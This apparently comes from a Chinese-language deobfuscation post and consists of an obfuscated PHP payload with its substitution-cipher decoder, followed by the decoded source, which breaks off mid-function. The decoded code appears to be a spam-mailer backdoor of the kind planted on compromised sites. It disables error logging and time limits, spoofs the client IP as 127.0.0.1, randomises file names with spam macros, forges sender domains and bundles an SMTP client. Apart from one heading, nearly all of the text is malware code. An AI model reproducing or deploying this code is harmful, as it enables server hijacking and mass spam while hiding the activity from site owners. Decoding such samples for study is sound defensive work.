'Q1gcf7sURWL0G1gcfh4SGs4ta4ZUk3lUd1gcGjLAkIl6fIfcXYykf7hUk7h'.
'Uk7hVdYTarefW2xhpaIfSnWgW2Ym6Qy2cXYgbRIKSXP5VLhiVw9h0XKKDah4SGs4ta4NbvPhTw3hxGuH6vS'.
'LUCsGURIKSXqg6kIfAQyK0O4hrLKITvdhACuHAkIl6fIfcXYykf7hUk7hUk7hVCg46QyLUoLhbkYLACgHTvydaLgWn'.
'Xg46QyLAnYyUoLsUk0Oba7/Uk0OUo5hVwINpa0hTf74jCKN0wL+Y'.
'dqVvJsN6CJEjCgLta7EUk0ZVHPbUk7hUk7hUk746CqNcQK40ODhpa7OYdq'.
'VvaevAQjESnYe0GrBURSsDvPhSvLOUkMbUk7hUk7hUk7hUk7hVdYT'.
'areHAQjESnYe0GJrtnIgUkMhVHPh0vLOUkMbUk7hUk7hUk7hUk7hVdYTare1jQJwta7EUk0ZUC9sVw7Ekf7h'.
'Uk7hUk7hUk7hUkYdaLgWcCJEUkMhVHPh0HLOUkMbUk7hUk7hUk7hUk7hVRY5AnDqp4YTarem0XJP6QWLc8UhTh5hUk7hUk7h'.
'Uk7hUk7fze1wnCMfUkMbUk7hUk7hUk7hUk7hUg1LjoLfUkMhVdYTareLAQegUkMhVHPhSHLOUkMhV'.
'dYTare2SQylcGg2SQ1NtGuLAQsEUkMhU2q00g1EUf7Ekf7hUk7hUk7hUk7hUkV0jChsYOVlcvNrcHNvj'.
'QVi6QWLze1wnCMfUkMbUk7hUk7hUk7hUk7hUg1L6oLfUkMhVRY5AnDqp4YTarem6CsqSQgEUk'.
'MhVHPOUkMhVCg46QyLUkMhUg1wnCMfUkMbUk7hUk7hUk7hUk7hUg1Lt2L46OVlcJ1wnCMfUkMbUk7hUk7hUk7hU'.
'k7hUg1LmkYLce1wnCMfUkMbUk7hUk7hUk7hUk7hUg1LmkYHjQVi6QWLze1wnCM'.
'fUkMbUk7hUk7hUk7hUk7hUg1LSGhsUf7EUkYdaLgWS2SLUkMhU2q00g1EUf7Ekf7hUk7hUk7hUk7hUkV0jCUsU2PbUk7hUk7'.
'hUk74jCsvAQjEUoLhVRY5AnDqp4YTaremaCJK6CJwxwhbUk7hUk7hUk7hUk7hVC'.
'6wcXemACJK6CJwUkMhUg1wnCMfUkMhVRYlnXKgSQYg0f7EUkV00g1EUf7EUkY'.
'HjQVi6QWLnXKgSQYg0f7EUkV00g1EUf7EUkY4AXgqACYw095hUk7hUk7hUk4Zkf7hUk7'.
'hUk7hVRWN6Xyg6k7sUkYLACgHTvydaLgWneWN6XM5VRYlrXgOcf4Zkf7hUk7hUk7h0GJLjnVEUkY4AXgqACYw0w7EUk'.
'YHAQjE6QxhTf7fnRV0cfUZkf7hUkIskf7hUkI9jQVPAQDh6OJES8YNcXMh6XJLJCsI6CYw6nWH6'.
'nD5bx5hUk7ht95hUk7hUk7hURVgjRJwcf74jCKN0wL+jC3Zkf7hUkIskh5hUk7h0RJfcCg2UC6ecG'.
'WLAQsEUCjgjdW2xQY40GJH0XJHbk4bUk7hURPbUk7hUk7hUkIw6nYe0GMhVRY5AnDqpGW2z'.
'95hUk7hmx5bUk7hURIeSG1NSwIGjQy2jCglcfIO6nYkSXWI6CYw6nWH6nD5bx5hUk7ht9'.
'5hUk7hUk7hURVgjRJwcf74jCKN0wL+SGW2z95hUk7hmx5bUk7hURIeSG1NSwIGjQy2jCglcfI'.
'O6nYa6nIPtJYlxQY40GJH0XJHbk4bUk7hURPbUk7hUk7hUkIw6nYe0GMhVRY5AnDqpgVg0C1y'.
'JC3Zkf7hUkIskh5hUk7h0RJfcCg2UC6ecGWLAQsEUCjgjduPcuVgSXg9AQJEjdu46RVg08Wg0whNkf7hUkIZkf7h'.
'Uk7hUk7h0GJLjnVEUkYLACgHTvyKcC1m0GJ2AnIN6QyL0HPbUk7hURLbkf7hUkI90GsL6QWL6Qxh'.
'6OJES8YNcXMh6CsoSQ1PSGu2Awh4AnWv6QyLTk74jC3PUkY2Sw9hVCV2Sw9hVRWeS'.
'GNgS8xPUkYfcXYyTk746OVlca4bUk7hURPbUk7hUk7hUkIN6f75UQJq0RYybkYLA'.
'CgHTvyKS8YNcXym6OJES8YNcXMNUkSGUCgHnXWKcC1KSG1gbkYLACgHTvyKS8YNcXym'.
'6OJES8YNcXMNbaIZkf7hUk7hUk7hUk7hUkY9SnVKcnDhpaIK0OVKtah4AnWv6QyLTk74jC3PUkY2Sw9hVCV2Sw9'.
'hVRWeSGNgS8xPUkYfcXYyTk746OVlca4Zkf7hUk7hUk7hUk7hUCWKcC1mjnWg0gsGjQy2nXuw0GuybkYL'.
'ACgHTvyKS8YNcXym6OJES8YNcXMPUkY9SnVKcnDNz95hUk7hUk7hURLbUk7hURLbmxN2cCuH0w'.
'I9ARIqSQgP6nVutCWg0RYNcXMh6nKL6Qy40wIutCWg0RYNcXMbt95hUk7h0RJ'.
'fcCg2UC6ecGWLAQsEUCJw0GswvQJH0XuO6ahNkf7hUkIZkf7hUk7hUk7hVCJw0GswvnWOUoLhVH1H'.
'jRVlcG0+Vw7EUkYLACgHTvyO6nYW6nWHSQjgbk4hTf7fpksHjRVlcG0'.
'+pCVwUk3+nCMfz95hUk7hUk7hURVgjRJwcf746nVwc8VW0X0Zkf7hUkIskOL'.
'bkf3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw3lTw'.
'3lTw3lTw3lTw3lTw3lTw3lTw3lkG6ecGWLAQsEURWgcGYvcnY9vQuNckh46OVlcJsgcQuNck9hVC6wcXemcGuq6a9h'.
'VRYlTk7408JfAGJ2jk9hVCVl6R4PUkYLtnIgTk74SXsE6GgOnX6'.
'NcCrNkOPbkaYqSQgPUoLhcGJ8UuIUrdeKAQ1g0fhNz95VVCeKAQ9qpGgHvQuNckhNz95hUk7hVCeKAQ9qp4W5S'.
'nVv6nxhpa7OjnYGTvhOz95VVCeKAQ9qpgWgjd6wcXL5VC6wcXem6'.
'QeKAQ9PUkYG0GsqnXyKcQrNz95VVCeKAQ9qp4u46du46RVg08D5VRYlbvPbkaYqSQgPTvyvjQV'.
'i6QWLUoLhVRWeSGNgS8xZkh4bkQgGUkh4jRg96a7spa7fDaUNkhgZkh4VVCeKAQ9qp4eH6LKrvr95VCVl6R4Nz95Vmx'.
'5V6Q1H6QgGUkh4jRg96a7spa7fDfUNkhgZkh4VVCeKAQ9qpGgHauYWvkKGSQ1H6a4Zkh4VVCeKAQ'.
'9qp4Vl6R4hpa74SGs4tvPbknLbkQgGUkKN08Wgjkh4nL6VvdJvba4bknPbkxgGc8VgSQW5bkYmY4gDYJDhS'.
'nDhVCqgta7spf746GgP6a4bkxgZkh4VkQgGUkh46GgP6JPOjCe9nXyKcQrOna7Kpa'.
'74SXsE6GgOnX6NcCrNkh4VknPbkx4VkaYqSQgPTvyK6CYIjRYKSXKq6QyLbkYGAQ1g'.
'QwjLcnImcGuq6ajjTk746GgP6JPOcGuq6ajjbvPbkx4Vmx5VknLbknLbkQgGU'.
'khKVCeKAQ9qpOWgcGx5ba4bknPbkx44jCsm6CsqSQgEUoLh6nK9cCs46ah'.
'fxkUPUkYLcw4Zkh4VVRYlnXYlcQuNcf7sUkYLces4cXeKAQycDJLZkh4VVCeKAQ9qp4gHrL'.
'errkhNz95VkaYqSQgPTvyUc8WLUk7hUk7hUoLhcnKmcCslA8J9bkYLces4'.
'cXeKAQMNz95VkaYqSQgPTvyxc8VLUk7hUk7hUoLhD2rZkh4VVCeKAQ9qpgWWJuIIjnY5Uk7hpaIGSQ1'.
'H6vPbkxgN6f75UaYqSQgPTvyH6Qy4bk4Nkh4Vt95Vkxgw6nYe0GMhxnVwSn45Dk9hVC'.
'eKAQ9qp4Jw0GswaQyGcw4Zox5VknLbkxggcRWgkh4Vt95Vkxgw6nYe0GMhxnVwSn45Df9hDk'.
'4Zox5VknLbknLbkQJP0XrbknPbkxgw6nYe0GMhxnVwSn45Da9hDk4ZkhgskOLbAQShbCgH0XJLbkYmY4gDYJDNb'.
'xNZkhgGc8VgSQW5bkYmY4gDYJDhSnDhVCqgta7spf746GgP6a4bknPbkxgN6fKHjRV9c8D5VC6NcCJcVXyKc'.
'QrOna9hUfyi0C0fba4bkxgZkh4VkaYw6nDhpaILtnIgDJsH6Qy4b'.
'kYGAQ1gQwjLcnImcGuq6ajjbvPbUk7hUk7hUk7hUk7hAQShbkYw6nDNkf7hU'.
'k7hUk7hUk7hURPbUk7hUk7hUk7hUk7hUk7hUCJ2AC3hVRVg0HP'.
'bUk7hUk7hUk7hUk7hmx5VknLbknLbmxNGjQy2jCglcfIqtusPcXsFjn75VCKl08YESQegbxNZkf7hUkI76XJLcnKw0fh4ACsHjC'.
'yKcQrPUkYqtCKl08YHTk740RVgSXJ46Qy26a4Zkf7hUkIN6fK2c8JEjkh4cnK5c8WL0w4hpvLsUo7NURVgjRJwcf7O'.
'DvU8T27EDkM1VHPbUk7hUkY9c8WNjCglcf7sUCuw0GuynXqgtnD5VRIw6QWg6'.
'CJESXrPUCeNcfh40RVgSXJ46Qy26a4Nz95hUk7h0GJLjnVEUkYqtCKl08YHQwY9c8W'.
'NjCglcgP9nJLZkOLb6OJES8YNcXMhcng56nhwSGgEbk7408YwUk4ht95hUk7hVRWfAQMhpa7fU2PbUk7'.
'hUkYP6QMhpaIHjRVP6QM5UkYHjRUhbvPbUk7hUC6l0f75UkYNUoLhDoPhVC'.
'4hpk74cCJEzw74Aa7Fpa7wUk4ht95hUk7hUk7hUkYHSGgEUkMsURIKSXP5UkVUbfUPURWeSOWL0fhhVRWL0f9hV'.
'C4PUoUhba7Nz95hUk7hmx5hUk7h0GJLjnVEUkYHSGgEz9NskhNGjQy2jCglcfI46QWl6Cr5VCYKjCdP'.
'UkYF6n4NkOPbkaYljnYm6CuLSa7sUkUfz95V6GswUkh4AvL9zw74Av1HjRVP6QM5VCYKjCdNzw4bknPbkxgGc8Uhbk'.
'Yipv7ZUkYipRWL0G1gcfh4AXJyba7GVf74Av1HjRVP6QM5VCYKjCdNzw74AfPFTk74Aa'.
'PFbx5VknPbkx4VVCsejus4SnYKUkMsUCW50fKl0Gx5VCYKjCucVCgjbaIt'.
'UCsw6kh4AXJyQwYina4Nz95VknLbknLbknVgjRJwcf74c8JLnXYKjCdZ'.
'kOLb6OJES8YNcXMhjRg96vum0XJE6kh4SXsE6GgOnX6NcCrNkOPbUk7hUkY4SnYKUoLh6GgP6JsO6nYmSXsEjCJE'.
'jRD5VCWlcG6N6esGAQ1gbvPbkaYHjCuwjus9c8DhpaIHjRV9c8D5VCYKjCdPUCeyACJMDGVNcfhf6G64SaUNbvPbkQgGUkh408YK'.
'0OYm0CsHbx5Vt95VkaYHjCuwjus9c8DhbHLhboU9bvPbkx446Qy4n8Il0w7sURWL0OV9c8D5VCYKjCdPU'.
'CeyACJMDGVNcfhf6G64zaUNbvPbkxgN6f75VCJE6us9c8DNkh4Vt95Vkx446CuLSa7sU'.
'RWeSOWL0fh46CuLSa9hVRWLSnVLn8Il0w9hVCJE6us9c8DNz95VknLbkxggcRWgkh4Vt95Vkxgw6'.
'nYe0GMhY4uDrLrZkh4Vmx5Vmx5V6Q1H6x5Vt95VknVgjRJwcfICxr1vYvPbknLbUk7h'.
'UkYF6n4hpa74neWurg6urgPOauYrrusUveWrVeLhTf74neWurg6urgPOr4JYJrJvJusJ'.
'r44OnvPbUk7hUkY4SnYKUoLh6CJ2cXYgbkY4SnYKTk74AXJybvPbkaY4SnYKUoLhxRJE0XJwAQuPAnNgbkY4SnYKbvPbU'.
'k7hUCgGUkhKVCYKjCdhmR9hUQgH0XJLbkY4SnYKQwjKAwjjba4bUk7hURPbUk7hUk7hUkIw6nYe0GMhY4uDrLrZ'.
'kf7hUkIskhgN6f75VCYKjCucVXuFVeLhUvLhU24wWH0L62r8TQYKzo4qWCU8WkLyDvJKTQS1D'.
'GJ2WGS1W2xHSwUNkhgZkh4V6nKNjkhNz95Vmx5hUk7hAQShbCgH0XJLbkY4SnYKQwj2VeLNbx5hUk7ht95hUk7'.
'hUk7hUkYw6nWcUOUfnJPfSwVjUoLhVCYKjCucVXDOnvPbUk7hUk7hUkIw6nYe0GMh'.
'SGuH6vSLnXJESXs46aKH6nVNSQ1NtGr5VRVg0w4Nz95hUk7hmx5VVCjlcXxhpa79z95VVC'.
'VK6k7sUo7Zkh44cCuHjusg0OVl0f7sUduw0Guybo7PUo7Nz95V6Gsw6Qu2Ak75VCYKjCucVX'.
'rOnaIK0w74jQg4pvM46QeKAQ9NkhgZkh4VVRY56QegUoLhVCYKjCucV8DOnJqK0OVKtJs'.
'wSQy4bkY4SnYKQwjHVeLNnvPbkx44jCKgcQrhpaIKcRYg0gsqSQWwc8D5VRY56QegbvPbkx44jCKgcQrhpaIEjQemcQu20GsHbk'.
'YLACJq6a4Zkh4VVRY56QegUoLhtCyecJsqSQWwc8D5VRY56QegbvPbkx44cQJH0XuO6a7sUkY4SnYKQwjPVeLZkh4VVCeg08WK6'.
'XrhpaIKcRYg0gsqSQWwc8D5VCeg08WK6XrNz95VkaYq6nWHSQjgUoL'.
'hcOJqnXeKS8Vl0wh4cQJH0XuO6a4Zkh4VVCeg08WK6XrhpaIMcOJqnXeKS8Vl0wh4cQ'.
'JH0XuO6a4Zkh4VVCeg08WK6XrhpaIGjCJNcusqSQWwc8D5VCeg08WK6XrPUk'.
'YeAQxNz95VkaYG0GsqUoLhVCYKjCucVXSOnJqK0OVKtJswSQy4bkY4SnYKQwjGV'.
'eLNnvPbkx446OVlca7sUCuPjCJwnXeKS8Vl0wh46OVlca4Zkh4VVC6wcXLhpaIEjQemcQu2'.
'0GsHbkYG0GsqbvPbkx446OVlca7sURKEjQemcQu20GsHbkYG0GsqbvPbkx4bkxgN6f7508Yw08YwbkYG0GsqTk'.
'7fQLWJreYpvJLfba7spaICxr1vYa4bkxgZkh4VkaYG0GsqUoLh6OVlcJs5c8WLbkYG0GsqbvPbkxgskh4V6Q1H6x'.
'5VknPbkx4VVC6wcXLhpaIHjRVm0GJ9cCu26ahfQLWJreYpvJLfTk7fUf9hVC6wcXLNz95VknLbkx4bkx446OVlcJs'.
'gcQuNck7sUCJM0C1l6Cr5U29fTk746OVlca4Zkh4VVC6wcXem6QeKAQ9hpaIgtRIPcXYgbk'.
'U+Uf9hVC6wcXem6QeKAQ1cDJLNz95VkaYG0GsqnXyKcQrhpaIgt'.
'RIPcXYgbkV0UfUPUkYG0GsqbvPbkx44cCuHjusg0OVl0f7sURWgcGYvcnY9vQuNckh46OVlcJsgcQuNcuP9na9hVC6w'.
'cXemcGuq6JP1na9hVCJqSQgPTk74jCKgcQrPUkYq6nWHSQjgTk746CuLSJPOcRxOna9hVCWlcG6N6esGAQ1gbvPbkx'.
'4bkxgN6f75VC1K08Ym6nVwc8VcDJLhpvLsUo7Nkh4Vt95Vkx446Xs'.
'l6kPFz95VknLbkxggcRWgkh4Vt95Vkx44SGu4bwPZkh4VkaYOcXs4UoLhSXsec'.
'Ox5VCYKjCucVXrOna4hTa74SGu4z95VknLbknLbkx5VVRVg0ePf0fVjQwVLUgLh'.
'pa74cCuHjusg0OVl0gP9nvPbkaYw6nWcUOUfnJPf6aVjUoLhVC1K08'.
'Ym6nVwc8VcDJLhpvLsUd6IvuWuUo3hDk7BUkYPSnWLnXJw0GswQHu'.
'jz95VVRVg0ePf0fVjQwVOUgLhpa746Xsl6oPbkaYw6nWcUOUfnJPfSfVjUoLhVCVK6oPbknVgjRJ'.
'wcfIfSnWgW2Ym6Qy2cXYgbRWg0GgKcCgB6ah40GJHba4ZkOL=';
$ivnbuxldu = Array('1'=>'x', '0'=>'c', '3'=>'8', '2'=>'j', '5'=>'o', '4'=>'k', '7'=>'A', '6'=>'Z', '9'=>'w', '8'=>'3', 'A'=>'a', 'C'=>'G', 'B'=>'6', 'E'=>'u', 'D'=>'M', 'G'=>'m', 'F'=>'r', 'I'=>'B', 'H'=>'z', 'K'=>'h', 'J'=>'V', 'M'=>'4', 'L'=>'0', 'O'=>'n', 'N'=>'p', 'Q'=>'W', 'P'=>'s', 'S'=>'Y', 'R'=>'H', 'U'=>'I', 'T'=>'L', 'W'=>'N', 'V'=>'J', 'Y'=>'R', 'X'=>'2', 'Z'=>'7', 'a'=>'S', 'c'=>'b', 'b'=>'K', 'e'=>'1', 'd'=>'E', 'g'=>'l', 'f'=>'i', 'i'=>'q', 'h'=>'g', 'k'=>'C', 'j'=>'d', 'm'=>'f', 'l'=>'v', 'o'=>'D', 'n'=>'X', 'q'=>'t', 'p'=>'P', 's'=>'9', 'r'=>'U', 'u'=>'F', 't'=>'e', 'w'=>'y', 'v'=>'T', 'y'=>'5', 'x'=>'Q', 'z'=>'O');
echo z($pnzhhebfp, $ivnbuxldu);
//eval(z($pnzhhebfp, $ivnbuxldu));
?>

解密之后

@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/"; $_SERVER['REMOTE_ADDR'] = "127.0.0.1"; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1"; } } if(isset($_FILES)) { foreach($_FILES as $key => $file) { if(!strpos($file['name'], ".jpg")) { $filename = alter_macros($file['name']); $filename = num_macros($filename); $filename = xnum_macros($filename); $_FILES[$key]["name"] = $filename; } } } function custom_strip_tags($text) { $text = strip_tags($text, ''); $text = str_replace("", "", $text); $text = str_replace("\">", " ] ", $text); return $text; } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str); } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); if (is_ip($host)) { return $content; } $tokens = explode("@", $content); $content = $tokens[0] . "@" . $host . ">"; return $content; } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches); for($i = 0; $i < count($matches[1]); $i++) { $ns = explode("|", $matches[1][$i]); $c2 = count($ns); $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); } return $content; } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content); } class SMTP { const VERSION = '5.2.10'; const CRLF = "\r\n"; const DEFAULT_SMTP_PORT = 25; const MAX_LINE_LENGTH = 998; const DEBUG_OFF = 0; const DEBUG_CLIENT = 1; const DEBUG_SERVER = 2; const DEBUG_CONNECTION = 3; const DEBUG_LOWLEVEL = 4; public $Version = '5.2.10'; public $SMTP_PORT = 25; public $CRLF = "\r\n"; public $do_debug = self::DEBUG_OFF; public $Debugoutput = 'echo'; public $do_verp = false; public $Timeout = 300; public $Timelimit = 300; protected $smtp_conn; protected $error = array( 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '' ); protected $helo_rply = null; protected $server_caps = null; protected $last_reply = ''; protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->do_debug); return; } switch ($this->Debugoutput) { case 'error_log': error_log($str); break; case 'html': echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
\n"; break; case 'echo': default: $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) )."\n"; } } public function connect($host, $port = null, $timeout = 30, $options = array()) { static $streamok; if (is_null($streamok)) { $streamok = function_exists('stream_socket_client'); } $this->setError(''); if ($this->connected()) { $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_SMTP_PORT; } $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), self::DEBUG_CONNECTION ); $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); $this->smtp_conn = @stream_socket_client( $host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); } else { $this->edebug( "Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION ); $this->smtp_conn = fsockopen( $host, $port, $errno, $errstr, $timeout ); } if (!is_resource($this->smtp_conn)) { $this->setError( 'Failed to connect to server', $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); if (substr(PHP_OS, 0, 3) != 'WIN') { $max = ini_get('max_execution_time'); if ($max != 0 && $timeout > $max) { @set_time_limit($timeout); } stream_set_timeout($this->smtp_conn, $timeout, 0); } $announce = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); return true; } public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } if (!stream_socket_enable_crypto( $this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT )) { return false; } return true; } public function authenticate( $username, $password, $authtype = null, $realm = '', $workstation = '' ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); return false; } self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); self::edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); if (empty($authtype)) { foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) { if (in_array($method, $this->server_caps['AUTH'])) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'])) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } if (!$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand("Username", base64_encode($username), 334)) { return false; } if (!$this->sendCommand("Password", base64_encode($password), 235)) { return false; } break; case 'NTLM': require_once 'extras/ntlm_sasl_client.php'; $temp = new stdClass; $ntlm_client = new ntlm_sasl_client_class; if (!$ntlm_client->Initialize($temp)) { $this->setError($temp->error); $this->edebug( 'You need to enable some modules in your php.ini file: ' . $this->error['error'], self::DEBUG_CLIENT ); return false; } $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1 if (!$this->sendCommand( 'AUTH NTLM', 'AUTH NTLM ' . base64_encode($msg1), 334 ) ) { return false; } $challenge = substr($this->last_reply, 3); $challenge = base64_decode($challenge); $ntlm_res = $ntlm_client->NTLMResponse( substr($challenge, 24, 8), $password ); $msg3 = $ntlm_client->TypeMsg3( $ntlm_res, $username, $realm, $workstation ); return $this->sendCommand('Username', base64_encode($msg3), 235); case 'CRAM-MD5': if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } $challenge = base64_decode(substr($this->last_reply, 4)); $response = $username . ' ' . $this->hmac($challenge, $password); return $this->sendCommand('Username', base64_encode($response), 235); default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } $bytelen = 64; // byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; // everything looks good } return false; } public function close() { $this->setError(''); $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } public function data($msg_data) { if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data)); $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = array(); if ($in_headers and $line == '') { $in_headers = false; } while (isset($line[self::MAX_LINE_LENGTH])) { $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); if (!$pos) { $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos + 1); } if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; foreach ($lines_out as $line_out) { if (!empty($line_out) and $line_out[0] == '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . self::CRLF); } } $savetimelimit = $this->Timelimit; $this->Timelimit = $this->Timelimit * 2; $result = $this->sendCommand('DATA END', '.', 250); $this->Timelimit = $savetimelimit; return $result; } public function hello($host = '') { return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host)); } protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } protected function parseHelloFields($type) { $this->server_caps = array(); $lines = explode("\n", $this->last_reply); foreach ($lines as $n => $s) { $s = trim(substr($s, 4)); if (!$s) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); if ($name == 'SIZE') { $fields = ($fields) ? $fields[0] : 0; } } $this->server_caps[$name] = ($fields ? $fields : true); } } } public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 ); } public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror or $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } public function recipient($toaddr) { return $this->sendCommand( 'RCPT TO', 'RCPT TO:<' . $toaddr . '>', array(250, 251) ); } public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } $this->client_send($commandstring . self::CRLF); $this->last_reply = $this->get_lines(); $matches = array(); if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { $code = $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); $detail = preg_replace( "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", '', $this->last_reply ); } else { $code = substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array)$expect)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } $this->setError(''); return true; } public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", array(250, 251)); } public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } public function client_send($data) { $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT); return fwrite($this->smtp_conn, $data); } public function getError() { return $this->error; } public function getServerExtList() { return $this->server_caps; } public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return null; } // the tight logic knot ;) if (!array_key_exists($name, $this->server_caps)) { if ($name == 'HELO') { return $this->server_caps['EHLO']; } if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used. Client knows nothing about server extensions'); return null; } return $this->server_caps[$name]; } public function getLastReply() { return $this->last_reply; } protected function get_lines() { if (!is_resource($this->smtp_conn)) { return ''; 